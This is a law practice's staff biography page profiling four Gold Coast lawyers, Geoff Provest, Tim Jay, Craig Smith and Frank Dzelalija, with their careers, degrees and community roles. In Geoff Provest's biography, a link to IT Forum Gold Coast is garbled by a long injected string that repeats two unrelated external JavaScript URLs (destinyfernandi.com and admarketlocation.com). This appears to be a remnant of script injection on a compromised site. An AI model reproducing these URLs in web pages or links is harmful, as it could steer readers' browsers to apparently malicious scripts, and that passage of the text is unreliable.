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GEOFF PROVEST

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Geoff Provest practises primarily in the areas of commercial litigation and commercial law.

Geoff commenced practising as a solicitor in Sydney in 1992 and moved to the Gold Coast with his family in 1995. Geoff was formerly a partner of a major Brisbane law firm before commencing practice on his own account. Prior to practising law, Geoff worked for 7 years for IBM Australia and IBM World Trade (Asia) Corporation in the areas of Government Relations and Public Sector Marketing. He was posted at different times to assignments in Sydney, Hong Kong and Canberra. Geoff has also worked as Private Secretary to the Honourable Nick Greiner, the former Premier of New South Wales, and to the Honourable John Dowd, when they were respectively Leaders of the NSW Opposition.

Geoff is actively involved in the Gold Coast community in several organisations. Of note he is President of the Alliance Francaise Gold Coast Inc and former chairman, co-founder and life member of IT Forum Gold Coast Inc. http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&www.itforumgoldcoast.com.au. Geoff is also a past President of the Gold Coast District (Dolphins) Cricket Club.

In his spare time he studies Chinese (Mandarin) and French.

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partner individuals and families with the array of legal matters that arise during the course of their lives: including buying and selling properties, purchasing businesses and leasing premises, putting wills and trusts in place, and administering estates.

I have built my practice mostly on clients’ referrals and the relationships I have with the community organizations and businesses.

Tim Jay

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Tim Jay attended the Royal Australian Air Force Academy and graduated with a degree in aeronautical engineering from Sydney University.  He became a captain on C130E Hercules aircraft. Following twenty years of service in the RAAF, Tim decided to pursue a career in law.  He attended Bond University and graduated with first class honours in 1996.

Tim completed a Masters Degree in law at Emory University in Atlanta, Georgia, and soon after gained employment with Shearman and Sterling in New York. In 2000, Tim moved to Hong Kong where he worked for the international law firm Coudert Brothers on a variety of cross?border finance and capital raising transactions.

Returning to Australia in at the end of 2001, Tim worked in Sydney and on the Gold Coast before joining the staff at Bond University in 2006, where he is teaching while undertaking a Ph.D. in tax law.  He is a solicitor of the Supreme Court of Queensland and has been admitted as a solicitor in New South Wales and as an Attorney of the Supreme Court of New York.

Craig Smith

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Craig is a former police officer of eighteen years experience, having served on the Gold Coast in virtually all areas of police work. A career in Law became a natural progression for Craig and he completed his LLB with Honours at Bond University in 2004 and was subsequently admitted as a legal practitioner of the Supreme Court of Queensland.

Craig joined a local law firm and set up a stand-alone division within that firm called Blue Justice. Blue Justice was developed, implemented and managed by Craig with the sole purpose of representing Queensland Police Officers, in multiple areas of law.

During this time Craig became very interested in the area of Criminal Compensation and developed a speciality practice in that area. Craig now teaches law at Bond University whilst undertaking a Ph.D. focused on Criminal Compensation. Craig now practices solely in his speciality area of Criminal Compensation consultancy.

Frank Dzelalija LL.B, LLM

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Commercial Litigation Solicitor

Experience:

Frank was admitted to practice as a lawyer in Queensland in October 1989. He obtained his law degree at the University of Tasmania graduating in 1986 and moved to the Gold Coast where he undertook Articles.

He was employed as a solicitor on the Gold Coast for a period of thirteen years before moving to Brisbane in late 2002. During this period he successfully completed his Master of Laws at the University of Technology having divided his time between that institution and the University of Queensland.

Frank has had extensive experience in a number of areas of law including commercial litigation, personal injury work, criminal law, leasing, business sales and purchases, conveyancing, trusts, wills and estates.

Frank’s work in the above fields includes:

  1. a number of cases for misleading & deceptive conduct both in the Supreme Court and the Federal Court of Australia
  2. extensive personal injury work including successfully finalizing cases which other firms had written off as unwinnable
  3. representing clients in Court for criminal matters, successfully defending clients in summary trials and also a Judge and Jury trial
  4. extensive leasing both for landlord and for tenants and negotiating clauses in the Lease that are fair to both sides and not one sided
  5. acting for sellers and purchasers of businesses and once again making certain that any prospective purchaser is well covered and undertakes the necessary due diligence steps prior to completing settlement
  6. acting for buyers of property and adding a large number of clauses to protect the buyers from loop holes in the standard REIQ Contract
  7. providing advice on asset protection particularly, when commencing business.

His present interest is in the field of commercial litigation particularly being involved in the beginning of a dispute before it reaches the Court stage or before the parties have taken steps that irrevocably alter the nature of their relationship with the other party.

He has found that early intervention allows for parties to heal splintered relationships rather than seeing them fractured entirely and the matter only being settled by recourse to the Courts.

Outside the legal arena Frank has numerous interests including reading, cycling, yoga and travel.

Frank has also given his time to various organizations on an Honorary basis and is presently the Honorary solicitor for the Gold Coast Croatia Club. He was formally the President of the Gold Coast Croatia Club as well as being on the committee for a number of years. He is also a former Vice Chairman of Gold Coast Soccer.

Qualifications and Memberships:

  • Queensland Law Society
  • Honorary solicitor for the Gold Coast Croatia Club